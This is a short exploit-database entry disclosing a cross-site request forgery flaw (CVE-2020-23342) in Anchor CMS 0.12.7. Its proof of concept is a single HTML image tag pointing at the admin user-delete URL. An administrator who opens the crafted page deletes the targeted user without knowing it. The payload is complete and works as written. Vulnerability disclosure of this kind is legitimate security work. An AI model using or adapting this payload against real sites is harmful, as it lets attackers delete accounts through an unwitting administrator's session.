Anchor CMS 0.12.7 - CSRF (Delete user)

# Exploit Title: Anchor CMS 0.12.7 - CSRF (Delete user)
# Exploit Author: Ninad Mishra
# Vendor Homepage: https://anchorcms.com/
# Software Link: https://anchorcms.com/download
# Version: 0.12.7
# CVE : CVE-2020-23342


###PoC
the cms uses get method to perform sensitive actions hence users can be deleted via exploit.html

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<img src="http://target/anchor/index.php/admin/users/delete/21">
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Where (21) is the user id .

When admin clicks on exploit.html link

User with id 21 will be deleted